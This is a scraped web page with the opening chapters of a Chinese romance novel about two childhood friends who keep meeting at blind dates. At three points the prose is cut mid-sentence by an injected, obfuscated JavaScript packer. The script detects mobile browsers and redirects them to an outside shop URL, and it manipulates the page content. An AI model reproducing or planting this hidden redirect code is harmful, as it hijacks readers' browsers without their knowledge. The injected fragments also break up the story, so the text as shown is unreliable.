《是竹马也是小狗》 1. 小狗不听话 《是竹马也是小狗》文/持尘 晋江文学城首发 在这个诗情画意的初春季节里,恬静的风,轻柔地踏过荡荡的水面,透过写字楼敞开的窗户,飘拂在这些白领丽人疲倦的脸上。 这微风,含着淡淡的水汽,也飘拂在桌上的那一只只咖啡杯中,热气袅袅升腾着,美式的、意式的,各种各样的咖啡香味遍布办公室每个角落。 在这个慵懒的晌午时刻,夏冬意姿态闲散地仰躺在懒人椅里,举着手机刷着小视频,看到好笑处毫不顾忌地发出咯咯轻笑。 手机正上方突然弹出一条消息。 美丽的吱吱:[快下来!!!!超级无敌大帅比!!!!] 夏冬意略略扫了眼,大帅比这三个字在眼前晃了晃,消息稍纵即逝。 她却意兴阑珊,这年头她就没见过真正的素人帅哥,尤其是郁吱吱这种看谁都是帅哥的,绝对还要打一个折扣。 夏冬意连切换一下屏幕都懒得,继续刷了一会儿视频,但是……不知为什么,这后头刷的这几个视频都不怎么得劲,大帅比三个字一直萦绕在她的脑海里。 夏冬意放下手机坐起来,双手举过头顶,伸了一个舒服的懒腰。 郁吱吱等不及地连发两条过来:[过去两分钟了,你人呢!!!!我告诉你夏咚咚,今天这个绝壁大帅哥一枚,还是个翘臀大帅比!!!错过了不要哭!!!!!!!] [我拍了照片的!!!!!!!!!] 像是为了证明自己的话,接着,郁吱吱真的就发来了一张照片。 这满屏的感叹号,看得人眼花缭乱。 哎,算了,看在她这么有诚意的份上吧。 夏冬意决定勉为其难,纡尊降贵扫一眼。 小图里,男人站在瑞幸咖啡店门口低头看着手机,像是在等什么人。虽然是从后面拍的,还是隔着一扇落地窗这样刁钻的角度,但仍旧不难看出,这至少一米八五打底的身高,宽肩窄腰,一身黑更加凸显着优越的头身比。 虽然郁吱吱的拍照技术一如既往的值得人吐槽,但这该死的帅哥氛围感,狠狠拿捏住了夏冬意。 这个角度,很明显是偷拍的,是郁吱吱会干的事情。 在心里评价完,夏冬意忽然猛地一顿,这人怎么有点眼熟? 等等。 夏冬意点开大图,视线逐渐定格。 不是吧? 这也叫帅哥? 这个丑人! 但是,他家公司在另一个商圈,他来这儿干什么,该不会真的在等什么人? 呆了有两秒时间,夏冬意随手往下滑了滑,找到某个名字,犹豫了一下,最终还是退了出来。 算了。 搞得她多关注他似的。 随即,夏冬提慢吞吞敲了几个字,给郁吱吱回复过去。 [算了,信你一回吧] — 夏冬意以百米冲刺的速度跑到楼下。 快到瑞幸门口时,一眼就瞥到某个人异常扎眼地杵在那里,也许是太过亮眼,周围经过的男生和女生都有意无意地朝他看着。 而他似乎已经对这样的事情习以为常了,仍继续低头玩着手机,夏冬意注意到他是单手操纵着手机,不像是在玩手机,更像在打字。 夏冬意眯起眼,确认了心中的猜测。她故意放慢了步伐,将一头飘逸的长发随意往后撩了撩,恢复了自信从容的姿态,走了几步,还是决定做点什么引起一下某人的注意。 于是,她站在瑞幸的侧门口,在离那人四五米的距离,拿出手机,举高,刚按下快门,那人的目光在镜头里转了过来。 夏冬意的手机还没来得及收回,就这么撞进了对方眼里。 “……” “……” 在这沉默的一两秒对视中,夏冬意装作淡定地收起了手机,摸了摸耳垂,她一般尴尬的时候都会做这个动作,傅亭斯是知道的。 所以在看到他意味深长地挑了挑眉的时候,夏冬意脚趾抓地了。她连忙头也不回地推开侧门,几乎是整个人挤进了门里,脚步匆匆且飞快地往里走去,郁吱吱也看到了她,连忙招手叫她过去。 夏冬意还在后悔自己刚刚的举措,也没管郁吱吱有没有看到,坐下的时候,她的心跳还很快,拿起郁吱吱为她点的冰美式,一口气仰头喝下。 感觉心跳更快了。 “……” “你怎么了,脸这么红?”郁吱吱有点疑惑,更多的还是关心。 听到她这么问,夏冬意侧身看了看刚才自己站的方位,明白了郁吱吱并没有看到门口那一幕,因为夏冬意站的位置恰好被墙挡住了。 夏冬意拿手在脸颊旁扇了扇,故装淡定地说道:“不是你说的不看后悔系列,我一路跑过来的,能不热吗?” “怎么样?看到了吗?你刚才进来应该能看到正脸,我这个方向还看不到,是不是如我预料,超级无敌帅爆表?啧啧,看看这屁股,多翘啊,真想上手掐一下。”郁吱吱做了一个隔空霸王掐的手势。 夏冬意脑补了一下这恶趣味画面,不忍直视,正这时,口袋里手机一震,她分神捞出,低头点开看。 不要脸的狗:[暗恋我?] 夏冬意干呕了一声。 郁吱吱以为她怎么了:“是不是刚才一口气喝太多咖啡了?” 夏冬意摇了摇头,冷笑一下说道:“不是,就是单纯想起刚才门口那张脸,丑的我想吐。” 说完,夏冬意毫不犹豫地啪啪啪打字,发送。 [对,全世界都暗恋你。] “不可能。”郁吱吱斩钉截铁的说,完全不相信夏冬意的鬼话,又朝窗外看去,脖子都快伸出去了,“你说他在这里干嘛,看样子也不像是来喝咖啡的,都老半天了。” 夏冬意百无聊赖地将视线投向那条颀长的背影,他似乎也没打算进来,也没转过头来找她,一直在看手机,打电话,像真有什么急事。 傅亭斯能有什么急事呢?一个无所事事的富二代,他能有什么急事?! “没准相亲呢,这个年纪的男人,都这样。”夏冬意随口说道。 “不会啊,”郁吱吱说,“这种帅哥最不缺人追吧。” 夏冬意正了正身子,她也有点搞不懂:“你都没看到正脸,就这么确定是个帅哥,我真不骗你,真的巨丑。” “真的?” “真的。” 看着夏冬意真挚的眼神,郁吱吱还是不肯相信:“要不我们来赌一个?” “赌什么?”夏冬意嘴上这么说着,心思却全在手机上,刷着刚才没刷完的小视频,倒是傅亭斯再也没有回复她了。 “我想想啊。”郁吱吱说。 夏冬意退出视频软件,像是因为太无聊,随手给傅亭斯发了条消息:[你怎么还没走,难道在暗恋我?] 发送完以后,夏冬意没有马上退出,等了等,看见“对方正在输入”不断在最顶上跳动着,在听到郁吱吱说:“咱们谁输了,谁就包掉对方这个星期所有咖啡吧。” 夏冬意随口接了句:“好,” 傅亭斯的短信到了:[在等相亲对象。] — 那天的赌局,最后以夏冬意包圆了郁吱吱一整周的咖啡告终。 郁吱吱将傅亭斯的背影照放在朋友圈,文案写着:和朋友打赌,觉得这是个帅哥的给我点赞。 那条下面的赞爆了。 夏冬意这一周都很没滋没味,提不起精神来,倒不是因为打赌打输了,而是傅亭斯那货竟然也有相亲对象看得上他? 别太离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054620|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱了。 那天他确实在相亲,但不在瑞幸相,估计是两人约在瑞幸门口。 只是很不凑巧的是,那天对方女孩儿来的很晚,夏冬意下午上班时间到了,不得已只好上去了。 这件事后来还是火速传到了她耳朵里。 听她母上大人说,那女孩儿是在学校教书的老师,端庄淑女,人对傅亭斯那是一千个满意,一万个喜欢。 夏冬意很为那姑娘感到可惜,说,这女孩儿要是知道傅亭斯是个什么货色,就不会那么心动了,漂漂亮亮一个小姑娘怎么眼睛这么瞎呢。 她母亲白了她一眼,说,你整天嫌小斯这个不好,那不行的,怎么没见你去相亲的对象看中过你。 夏冬意更郁闷了,嘴上愤愤道,那是他们全瞎了狗眼。 她就想不明白了,凭什么啊,凭什么谁都喜欢傅亭斯,好像这辈子没见过男人一样。 他真的有那么帅吗? 夏冬意是从来没这么觉得过,也许是两个人太熟的关系。自夏冬意有印象以来,她就认识傅亭斯了,所以别人问起她和傅亭斯是怎么认识的,夏冬意都会摇摇头,说她也不记得了。 大学毕业以后,夏冬意没有如父亲所愿进入自家公司,因为她大学的专业自己还是蛮喜欢的,不想跨专业去做别的工作,于是就在家附近找了一个班上。 傅亭斯则是在大学期间就出国了,深造了两年,于三年前回国,进了家族企业,如今仍在基层打拼着,算是个没有什么实权的富二代。 不过他名下的产业倒是也还不少,在电竞,娱乐等行业都有涉猎。毕竟他自己对这些也蛮感兴趣,在大学期间就开始捣鼓了。 夏冬意对他事业上那些没什么兴趣,在她眼里,傅亭斯和圈里那些富二代都差不多。 傅亭斯自国外回来以后,两人因为联系的少了些,各自生活圈没有太多交集,虽然还是维持着以前的互动模式,但还是不可避免的生疏了不少。 私底下的见面也变成了只有父母在场的场合,一些父母间的聚会,两人还不次次都会去。 但傅亭斯的消息还会时不时地由家里人带进夏冬意耳里。 比如他父母希望他早点定下来,在到处找人给他介绍相亲。 也知道他一开始很抗拒,但后来因为家里人的坚持和催促,也就摆烂了。 但听说,相亲到现在,一桩都没成,包括那个很看好他的女老师。 而夏冬意这边,亦没有闲着。 这不,这周末家里又给她安排了两场相亲。 得知消息的时候,夏冬意原本就挺郁闷的。她也不知道是她运气不好,还是人特倒霉,每次遇到的相亲对象,总是带点儿奇葩性质。 以前她还觉得是自己的问题,后面跟同事一吐槽就知道了,完全就是对方的原因! 夏冬意洗过澡,趴在床上靠着软垫,百无聊赖地研究着亲戚发来的相亲对象的信息,这时,屏幕里弹出一条新信息。 夏冬意垂眼扫了下。 不要脸的狗:[这周要去相亲?刚好我也要去,一起?] 夏冬意笑发财了,相亲都有组团的吗? 想到之前听说过很多诸如“小斯去相亲对方都很满意,就是他自己要求高,看不中人家”的话。 夏冬意心里莫名产生出一种挫败感。 凭什么啊,这个大草包。 诸多的郁闷情绪上头,夏冬意手指没过脑地打了几个字:[这么关注我,暗恋我?] 发出去后,过了一秒,两秒,三秒,四秒…… 没有“对方正在输入”的提示。 像是对方正在沉默。 就在夏冬意了无兴致地准备退出去的时候,收到了回复。 不要脸的狗:[对,全世界都暗恋你。] 2. 小狗不听话 夏冬意几乎能想象出来傅亭斯打这句话时的模样:嘴角轻勾起,漫过一丝无语又好笑的讥诮哂意。 夏冬意也勾了勾嘴角,顺势把这段对话截下了屏,发过去给他,并附言:[很好,承认了,截屏。] 这个操作让对方再次沉默住了。 这次过了大概有几十秒,才收到来自“不要脸的狗”的消息。 [……你高兴就好。] — 对于傅亭斯提出的去同个地方相亲的建议,夏冬意非常有原则地,高高在上地拒绝了。 当然,高高在上,很有可能是她的想象。 原来的对话是这样的: 夏冬意:[我觉得咱们还是别一起相亲了,回头你那相亲对象看不上你,知道我俩认识,我脸面没处放。] 傅亭斯:[我以为该丢脸的人应该是我。] …… 但那天,夏冬意还是很没出息的,在相亲的过程中,给傅亭斯发了定位。 原因也不能怪她,真的就是那相亲对象,让她不知道说什么好,离开么,显得太没礼貌,但再坐下去呢折磨的也是她自己。 对方今年二十八岁,比夏冬意大一岁,西装革履,俨然精英模样的打扮。精英,确实是精英,初中就出了国,常年在国外工作,精通三国语言,年薪百万,但交谈言语中总有一种难以言喻的优越感,满口的英语。 夏冬意虽然听得懂,也会说,但她觉得很奇怪,明明是两个中国人,在中国的土地上,为什么要说外语,就向他提出了这个疑惑。 这位精英先生淡淡的笑了一笑,用英语告诉她:“夏小姐,我离开中国多年,已经不会讲中文了,我说的英语都是基础用语,夏小姐应该考过雅思的吧,这点难度您不应该听不懂。” “……” 夏冬意咬手指,这人怎么会比傅亭斯还要装啊,真受不了。她倒不是碍于面子不敢说什么,而是对这种装13的人,她真的连说话都不屑。 对方却以为她是没话说了,气焰更旺了,仍用英语说道:“虽然我是江市出生的,但我已经拿到了海市的户口,所以我现在是海市人,马上,我的绿卡也下来了,以后大概率是要移民的,如果你跟着我的话,一定要学会用英语交流,最基本的那些是一定要会讲的。” 夏冬意翻了个白眼,终于忍不住拆穿,她用一口标准流利的普通话,抑扬顿挫,一字一顿说道:“这位先生,如果我没记错的话,刚才你点餐的时候还是用中文报的菜名,怎么,那时候还会讲的,现在就不会了?” 精英先生大概没想到她这么伶牙俐齿,一点面子都没给,不由语塞,接着,像是在给自己找场子般,转换了一个话题,问她道:“夏小姐对婚后的生活有什么期望吗?我记得你们家的产业做的挺大的,但好像你并没有在自己家里,为什么呢,这么大的公司,是打算以后拱手让人吗?” 夏冬意冷笑了下:“让给谁,我爸就我这么一个女儿,再说公司是他的,他有什么计划都是他说了算,我就算再能干都是给他打工的。” “所以这才是关键,你要有野心,把你爸的权一点点抓过来。” 夏冬意发现对方和自己压根不是一路人,在他说出自己不会说中文,因为拿到了海市的户口而自认为是海市人,这样的精致利己主义,恰恰看得出来他内心极度的自卑,极度的想证明自己。 而且这都还只是相亲的阶段,他就已经在打探她家里的底细了,可想而知他的真正目的,夏冬意已经不想再交谈下去了,随口说道:“我对婚姻没有什么期待。” 大概是太生气,以至于当时想也没想的,给傅亭斯发了条信息吐槽:[遇到一个超级奇葩的,绝对可以列为我相亲史奇葩榜top,不对,已经不能用奇葩来描述了,而是可怕。你那里怎么样?] 对方似乎还在说着些什么,诸如一些说教式的言语,任何事都要有计划,你们现在的女孩子巴拉巴拉……夏冬意都懒得听,在想着找什么借口结束这场让她作恶的无聊相亲。 傅亭斯的信息进来了:[结束了。] 夏冬意刚想说“这么快”,接着—— 不要脸的狗:[在哪里,发个定位给我。] 言简意赅,也不说明意图。 夏冬意没多想地随手把饭店地址发了过去。 不到一秒。 不要脸的狗:[哦,真巧。] 夏冬意:[?] 不要脸的狗:[我就在你隔壁。] 大概没过两分钟,还没等夏冬意反应过来,一个熟悉的人影从大门口踱步进来。 夏冬意抬头看到突然闯入视线的傅亭斯,一脸震惊,像见到了UFO。 注意到她的神色,对面的精英先生转过了头,同时也注意到了傅亭斯。 “这是你朋友?”精英先生问。 夏冬意刚想说是的,傅亭斯已走到了她身旁,将一条胳膊搭在她肩上,动作看起来异常娴熟又亲昵,微笑着望向对方,慢条斯理道:“不好意思,我是她男朋友。” 继而,他转过脸,含情脉脉地望着已经傻眼的夏冬意,笑的温柔宠溺:“前两天和我吵架,为了气我还来相亲了。你要相亲不找个帅过我的,找个这么丑的,你干脆气死我得了。” 那位精英先生看着他们“打情骂俏”,气得发抖,骂骂咧咧地站起来走了。 人一走,夏冬意立马跳起来推开傅亭斯,叫道:“姓傅的,你也太恶心人了吧,你就算是为了帮我,求求你以后别用这种眼神看我,你看看,我的鸡皮疙瘩都起来了,太寒碜人了。” 傅亭斯被她推到旁边,懒懒倚着沙发扶手,笑的人畜无害的模样:“什么叫演戏,就得这么入木三分,就你刚那僵硬的姿势,人一看就假,不谢我就算了,还说我恶心,真有良心。” 夏冬意揉着鸡皮疙瘩爬上来的胳膊,没理会他。 “不过说真的,”傅亭斯朝精英男士离开的方向偏了偏头,“谁给你介绍的,跟我差的那不是一点两点,审美太次了。以后啊,就照我这个标准找。” 夏冬意扶着沙发扶手弯腰干呕了几声,傅亭斯轻轻拍了拍她的背,语气散漫:“您悠着点儿,别把隔夜饭都吐出来了。” “……” 这人神经病吧。 傅亭斯招手叫来服务员:“把这桌的账结一下。” 傅冬意见他掏出来手机,忙阻止道:“我来付吧。” 傅亭斯已经把手机伸了过去,示意服务员扫他的码,淡淡道:“就那么几百来块的事,争来争去的有意义?” 虽然话是这么说没错,但是傅冬意总觉得哪里怪怪的。 就好像这次相亲不是她和那个精英男,而是她和傅亭斯。 夏冬意晃了晃脑袋,把这个离谱的想法甩开,问他道:“你怎么这么快结束了?” 傅亭斯收起手机前看了眼时间:“快吗,今天进行了二十多分钟,往常十分钟都不到。” 夏冬意感觉挺离谱的,想了想说道:“那你有没有吃饱?” 傅亭斯抬头看向她。 夏冬意指了指桌上的菜,慢吞吞对他道:“那要没吃饱,这里还有一些。” 傅亭斯看住她,满脸写着无语。像是在说:你看本少爷像是来吃你们的残羹剩菜的? 夏冬意在他的目光洗礼下,渐渐反应过来。 “哦。”她像是自我开解一般地点了点头。 “夏冬意。”突然,傅亭斯正色叫她名字。 把夏冬意叫楞住了。 抬眼看过去。 傅亭斯一改往常懒散模样,那抹时常挂在嘴角淡淡讥诮的笑意被收敛了起来,认真带着严肃地对她说道:“以后再遇到这种不靠谱的相亲,你可以拒绝。不是所有的相亲,都是适合去的,这个世界上有太多危险了,尤其是女孩子,如果不懂得拒绝,会让危险趁虚而入。” 傅亭斯很少这样对她说过话,以至于夏冬意怔忪的时间远多于她思考这番话的深意用的时间。 她是很不爱听别人说教的一个人,但是很奇怪的是,傅亭斯的这番话并没有引起她的反感。 大概是他真的是从她的角度考虑的,是切身地为她着想的,而这个一向喜欢和她吵吵闹闹的家伙,一本正经说话的样子,竟然让她觉得好像也还不赖。 “嗯。”夏冬意垂下眼,虚心地点了点头,很难得的没有同他贫嘴。 这让傅亭斯有些意外。 他禁不住地仔细地打量了她一番。 女孩儿穿一条白色连衣裙,上衣设计简单,裙子的料子是柔软的纱质垂坠到脚踝,一头清丽的长发披散在后背上,没有过多的装饰,简单大方的妆容。 傅亭斯目光落在她莹润白皙的耳垂上,耳朵后侧的皮肤和修长的脖子柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然而,她永远有让人出乎意料的反应,就在傅亭斯还沉浸在女孩喜笑开颜的快乐中时,她已经仰起头,对着他指了指怀里的玩偶说:“这还不够。” 傅亭斯疑惑地挑了挑眉,刚想说“哪不够”时,夏冬意先发制人道:“我这么‘好’的相亲对象跑了,你是不是应该赔我一个更好的?” 她一派理所当然的提要求,而后歪头思索了一下:“你那堆哥儿们里啊,方棋彻其实还不错呢。” 傅亭斯气笑了:“你不是喜欢打篮球好的吗,方棋彻打篮球不行。” “童淼森呢,他也行。” 傅亭斯:“他脸不行。” “个子高就行了,我不挑脸。” 傅亭斯冷哼一声:“满脸麻花你也不挑?” “童淼森可没有满脸麻花,你别侮辱人!” “……” 傅亭斯气乐了,没说话。 夏冬意嘴里嘀嘀咕咕的,跟着他往回走。 “你说什么?”傅亭斯转过头来。 “反正在你眼里,谁都比你差一截。” “如果你想打我的主意,那可没门啊。”傅亭斯懒着调调道。 “???” 夏冬意真的绷不住了,她的话有这种意思吗? 沉默了一会儿,夏冬意于这沉默中,淡淡问道:“你读书的时候,语文阅读理解,或者英语阅读理解肯定很差吧?” 傅亭斯疑惑地看了看她。 夏冬意继续淡淡解释:“虽然我不是很想说,但如果不说的话,你可能会连这点自知之明都没有,你是怎么会觉得我在打你的主意?难道就不能是你在暗恋我?” 这话把傅亭斯整沉默了。 两人相顾无言地走了一会儿,傅亭斯慢悠悠地开口道:“从科学的角度来说,我暗恋你是不可能的,但是如果说,你暗恋我,说出去还是会有很多人相信的。” “……” 这人是怎么做到会这么自恋的? 这整个宇宙都找不出第二个了吧。 沉默。 沉默。 沉默。 夏冬意忍了又忍。 有句话说的好,不在沉默中死亡,就选择在沉默中爆发。 于是夏冬意抱着她那巨大的狗狗玩偶,跳起来狠狠踩了一脚傅亭斯,扬长而去。 3. 小狗不听话 闹归闹,夏冬意想起来自己没开车过来,还是厚着脸皮折回来。 傅亭斯低头看着脚上那只被踩脏了的白球鞋,对着去而复返的夏冬意冷笑了一下,故意问道:“你车呢?” 夏冬意忽略掉他的嘲意,脸不红心不跳地道:“这里不好停嘛,就没开来了,不是还有你送我回去呀。” 傅亭斯对她的自说自话习以为常,面不改色问:“谁说要送你回去?” 夏冬意眨眨眼,一脸无辜:“刚才不是你说的嘛?” “……” 傅亭斯知道她是故意的,假装听不懂他的画外音。当然他也有对付她这招的办法,指了指脚上的鞋子说:“擦干净了,我考虑一下。” 夏冬意低头看向他脚上,那双某品牌的白色运动鞋鞋面上一个黑色的鞋底印正张牙舞爪耀武扬威着,万分引人注目,是她的杰作没错。夏冬意就像是欣赏着一幅由她自己创作的世界名画,表情相当的满意,带着密之微笑,徐徐抬头迎上傅亭斯的目光时,她发现表情好像有点不大对。 不应该笑的这么开心,她努力想营造出一种惋惜的,痛苦的,难受的心情,但是由于太满意自己的杰作了,表达不出来这种氛围,只好勉力拉下嘴角。 于是画面诡异了起来,原本笑的一派明媚的女孩,却在一瞬间嘴角窝下,变成了一张苦瓜脸。关键是,她那双炯炯有神的眼睛还在热烈地注视着傅亭斯。 就好像,傅亭斯下一秒就要挂了一样的,那种悲伤。 傅亭斯:“……你这又是什么表情?” 夏冬意正在努力地营造悲伤情绪,在这短短几秒钟时间里,几乎把生平最难过伤心的事情都回忆了一遍,就连小时候去农家乐,不小心把傅亭斯推到茅坑里的画面都没放过,代入傅亭斯的心情,如果是她,肯定会哇哇大哭,但傅亭斯硬是一滴眼泪都没流。夏冬意于十几年以后,后知后觉地意识到,当时的自己真的是太可恶了! 就在傅亭斯问完以后,夏冬意眼角滴落下了两颗“鳄鱼的眼泪”,代表幼小的傅亭斯流的。 傅亭斯看着她脸上,晶莹的眼泪滑落,先是楞了楞,而后恢复平静,喊道:“夏冬意。” 被叫到的那位姑娘神情懵懵地望着他,那双漂亮的眼睛像是在水里浸泡过般,透着一层雾气,亮晶晶的,像藏着小星星。 说实话,很少有人吃得消被夏冬意这么看着,就连傅亭斯的父母也是这样,从小只要夏冬意一哭,两家的父母都忙着哄她,傅亭斯的母亲就是因为太喜欢夏冬意,还给她取了一个专属的小名,叫乖囡,有时候也喜欢在她的小名后面加宝贝,现在二十六七岁了,依然还是这么喊她咚咚宝贝啊,乖囡啊。 这让傅亭斯挺受不了的。 他向来是知道这姑娘并不是大人眼里那乖巧模样,但是也不得不说,夏冬意确实挺会哭的,她的哭经常会给人一种我见犹怜的感觉,也不说话,任凭眼泪滑落透白的脸颊,然后用她那双被雾气氤氲的漂亮的眼睛,楚楚可怜地望着你,就算是心再硬的人,也不忍说重话了。 但傅亭斯还是面无表情说道:“你又在演什么戏?” “我就是,”夏冬意破功,只好哼哼唧唧的,抱着她的大玩偶,轻轻吸了吸鼻子,然后用一只手抹过眼睛,傅亭斯仿佛看到了记忆中的那个小女孩,正委屈巴巴,抽抽噎噎地对他说:“傅亭斯,你别那么凶嘛,你不是答应过我,要送我回家的吗?” 傅亭斯垂下了眼,像是妥协,没再看她,低声说了句:“上车吧。” 随即转身。 夏冬意望着他的背影,知道自己的“奸计”得逞,破涕为笑,抱着她心爱的玩偶,快乐地爬上了车。 — 本以为这个时间段,家里应该没有人才对。夏冬意千算万算没算到今天她的小姨从国外回来,她亲爱的母上大人开心极了,正和小姨坐在院子里的凉亭里喝下午茶说闲话。 当傅亭斯的车开到门口的时候,传来的动静让两位热爱八卦的长辈一起朝门外望去。镂空的法式园艺门,很容易就能捕捉到那台价值千万的名车停在门口。 当看到自家外甥女从这车门内出来,小姨“嗷哟”了一声,望向姐姐:“我们咚咚什么时候找的男朋友,这么重要的事,怎么都没告诉我?” 江笑妍没多想的说:“今天去相亲了,应该是人家把她送回来了吧。” 小姨咬了口糕点,眯眼看着那边,喜不自禁道:“还给买了个玩偶,估计是去约会了,肯定有戏。你说咱们咚咚样样都不差,怎么会这么难找?” 江笑妍想了半秒,放低声说:“现在这个社会是男孩子拉后腿,有时候找不好不应该怪女孩子,我们咚咚相亲到现在,就没遇到过几个正常的。” “说的也是。”小姨吃了一口茶,接着道:“听说她这次相亲的这位各方面条件都很好,你看这台车就知道了,条件虽然说比不上你家,但小伙子自己能力强,到时候让姐夫帮一把,小两口日子很舒服了。你们就只有一个女儿,不就图着对方人品好,对咚咚好嘛。” 说起这台车,江笑妍仔细地看了几眼,心里犯起了嘀咕。 “这车看起来有点眼熟,就是想不起来是谁的。这个价位品牌的车,我觉得不像是这次这个相亲对象会买的。” 小姨迟疑了一下,也细细地看了两眼:“不是说这个挺会赚钱,年入百万,但这车应该得千万了,贷款买的吧,年入百万的买一个这样的车也没啥难度。” 江笑妍点了点头,看到夏冬意还在车边和里头的人说着什么,因为隔着些距离,看不太清车里的人。她和夏冬意的小姨都默认了这是此次的相亲对象,没有想太多,继续喝着茶。 “不过话说回来,还有一个更合适的人选,你和姐夫都没考虑过吗?”小姨突然说道。 江笑妍顿悟:“你说小斯啊?” “对啊,傅家那位公子,和我们咚咚打小一起长大,这要是成了,不是好上加好的事?” 江笑妍摆摆手道:“他俩啊,一整个小冤家,没那种感情,我早就问过咚咚了,没戏。小斯对我们咚咚,也没抱别的感情,强扭的瓜不甜,就算了。” 小姨叹口气道:“这多好一个女婿啊,就这么拱手让人了?” 江笑妍摇摇头:“没办法啊,他们相互不喜欢,我们做父母也只能顺其自然。” 这里。 夏冬意下了车后,又被傅亭斯喊了回去。 “什么?”她顿步回头,圆亮的大眼睛望着他,茫然又无辜。 傅亭斯似笑非笑地看着她:“不是说好要给我擦鞋的?” “啊?”夏冬意折回去,到窗口站住,有点郁闷的说:“我说过这种话吗?” “你刚才没说过?”傅亭斯手搭在方向盘上,侧身向她,一本正经的样子不像在说假话。 夏冬意辨认了一下他的表情,确定他没在说笑。于是她毫不犹豫地点了点头,爽快道:“好。” 下一秒,夏冬意弯起眼睛,摊开手朝傅亭斯说:“请把鞋子脱下来吧。” 傅亭斯看着她。 她也看着傅亭斯。 最后还是傅亭斯没绷住,笑了。 见他依然没有要动作的样子,夏冬意收起了俏皮的笑容,露出一个假笑给他:“你不脱下来我怎么擦,让我跪下来擦吗?” “行。” 傅亭斯弯下身去。 见他这个动作,夏冬意警觉起来:“你干什么啊?” 傅亭斯很专注地解着鞋带,头也没抬,轻淡道:“脱鞋啊,总不能让你跪下来给我擦吧。” 夏冬意也只是说说,没想到他动了真格,有点被无语到,但现在,她左右看看,有点觉得丢人,想赶快走人了。 但傅亭斯非但没觉得这个动作有任何的丢人现眼的成分,还非常慷慨大方的把他那双四十五码的大鞋穿过窗户递给她。 递过来就递过来,还把鞋面朝向她这边。 看着上面黑色的鞋印,夏冬意抿紧了唇。 她真的很不想拿他的鞋子,正在考虑着,待会儿把鞋子随手扔到哪个垃圾桶里算了。 就在夏冬意犹豫间。 “咚咚。”身后传来小姨的声音。 夏冬意头皮发麻。 院门被打开了,她妈妈和小姨一起走了出来。 江笑妍这才看清车里坐的人不是别人,正是傅亭斯。 “小斯?”江笑妍的语气伴随着惊喜。 “你怎么来了,快进屋坐会儿再走。”江笑妍热情地挽留傅亭斯。 “不用了,江姨,”傅亭斯礼貌地笑道,在此过程中,夏冬意不停给他眼神暗示,傅亭斯却当没看见般说:“我这鞋子不小心被咚咚弄脏了,我说没关系,她硬要帮我洗干净。” 江笑妍把鞋子接了过去:“要的要的,我们咚咚是很讲礼貌的孩子,从小我就教育她的,咚咚,你拿着,小斯的鞋子,这次要自己洗哦,别让阿姨帮忙。这玩偶是小斯你买的,还是……” 夏冬意心不甘情不愿地接过去,狠狠地瞪向他,表情在说:傅亭斯你这条狗,我跟你没完! 傅亭斯依旧保持着自持礼貌的微笑,回答道:“我买的。江姨,不好意思,我把咚咚的相亲搞砸了,这玩偶是买来向她赔礼道歉的。” 江笑妍乐开了花,说:“没关系没关系,搞砸就搞砸吧,嗯,小斯,你要不要来家里坐会儿,我做了一些糕点。” “下次吧,江姨,我还有点事,不打扰你们了。” 每次见傅亭斯这么礼貌的样子,夏冬意都特别想吐,就装吧你。 江笑妍倒是被哄的很开心,说:“这怎么叫打扰呢,那你去忙吧,下周末我还要做,你要来哦。” 傅亭斯的那台跑车呼啸而去的时候,她母亲和小姨还站在原地朝他挥着手,夏冬意摇了摇头,幽幽地说道:“妈妈,你这么喜欢傅亭斯这条狗,你怎么当年没和爸爸拿我换他啊。” 这件事也是有缘由的,傅家一直想要一个女儿,但傅爸又舍不得老婆再生了,于是在两个孩子还是婴儿时期那会儿,就由傅妈提出来说,拿傅亭斯换夏冬意。当然这只是开玩笑的话,夏家自然也没有采纳,这件事就不了了之了。 “你这死孩子,说的什么话。”江笑妍白了一眼自家女儿一眼,又看了看她抱着的玩偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054622|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和傅亭斯的鞋子,面露喜意:“今天真跟小斯去约会了啊?” “什么约会啊?”夏冬意抓抓耳朵,想起这事就烦躁,“他把我相亲都搞砸了,虽然这个相亲对象还是一如既往奇葩,妈妈,我劳烦你下次帮我把把关吧,别什么样的人都行,好嘛?” “小斯你又不喜欢,那些人也不是每一个人脸上都写着我是奇葩,肯定得接触一下才知道。”江笑妍接过她的玩偶,三人走进院子。 “就他那样谁能看得上他啊,我现在啊,想起他的脸就要吐,恨不得踩几脚,”说到这里,夏冬意看了看手上的鞋子,奇怪,她为什么要把他的鞋子带进来,正准备找个地方扔掉,江笑妍像是看出了她的心思,说道:“这鞋子你要不会洗就拿给阿姨吧,别擅自扔掉啊。” 夏冬意假装没听见,将鞋子随手一扔,转身抱住她小姨,用脑袋蹭着她:“小姨,你什么时候来的,我好想你啊,这次来了就多呆些日子回去吧。” …… 那鞋子夏冬意当然不可能自己洗,交给了阿姨去处理了。 但她还是没忘记刺激一下傅亭斯,谁叫他这么捉弄她的。 就在晚饭后,一家人坐在院子里聊天的时候,夏冬意也没闲着,坐在秋千上给傅亭斯发消息:[我很疑惑,你只有一只鞋子,是怎么下车的。] 